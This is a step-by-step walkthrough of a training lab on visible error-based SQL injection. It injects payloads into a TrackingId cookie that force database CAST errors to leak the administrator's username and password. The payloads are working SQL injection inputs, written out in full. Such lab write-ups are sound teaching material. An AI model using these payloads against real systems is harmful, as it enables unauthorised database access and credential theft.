- Using Burp's built-in browser, explore the lab functionality.
Go to the Proxy > HTTP history tab and find a
GET /request that contains a
In Repeater, append a single quote to the value of your
TrackingIdcookie and send the request.
- In the response, notice the verbose error message. This discloses the full SQL query, including the value of your cookie. It also explains that you have an unclosed string literal. Observe that your injection appears inside a single-quoted string.
In the request, add comment characters to comment out the rest of the query, including the extra single-quote character that's causing the error:
- Send the request. Confirm that you no longer receive an error. This suggests that the query is now syntactically valid.
Adapt the query to include a generic
SELECTsubquery and cast the returned value to an
TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--
Send the request. Observe that you now get a different error saying that an
ANDcondition must be a boolean expression.
Modify the condition accordingly. For example, you can simply add a comparison operator (
=) as follows:
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
- Send the request. Confirm that you no longer receive an error. This suggests that this is a valid query again.
Adapt your generic
SELECTstatement so that it retrieves usernames from the database:
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
- Observe that you receive the initial error message again. Notice that your query now appears to be truncated due to a character limit. As a result, the comment characters you added to fix up the query aren't included.
Delete the original value of the
TrackingIdcookie to free up some additional characters. Resend the request.
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
- Notice that you receive a new error message, which appears to be generated by the database. This suggests that the query was run properly, but you're still getting an error because it unexpectedly returned more than one row.
Modify the query to return only one row:
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
Send the request. Observe that the error message now leaks the first username from the
ERROR: invalid input syntax for type integer: "administrator"
Now that you know that the
administratoris the first user in the table, modify the query once again to leak their password:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
Log in as
administratorusing the stolen password to solve the lab.
Lab: Visible error-based SQL injection
This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.
The database contains a different table called
users, with columns called
password. To solve the lab, find a way to leak the password for the
administrator user, then log in to their account.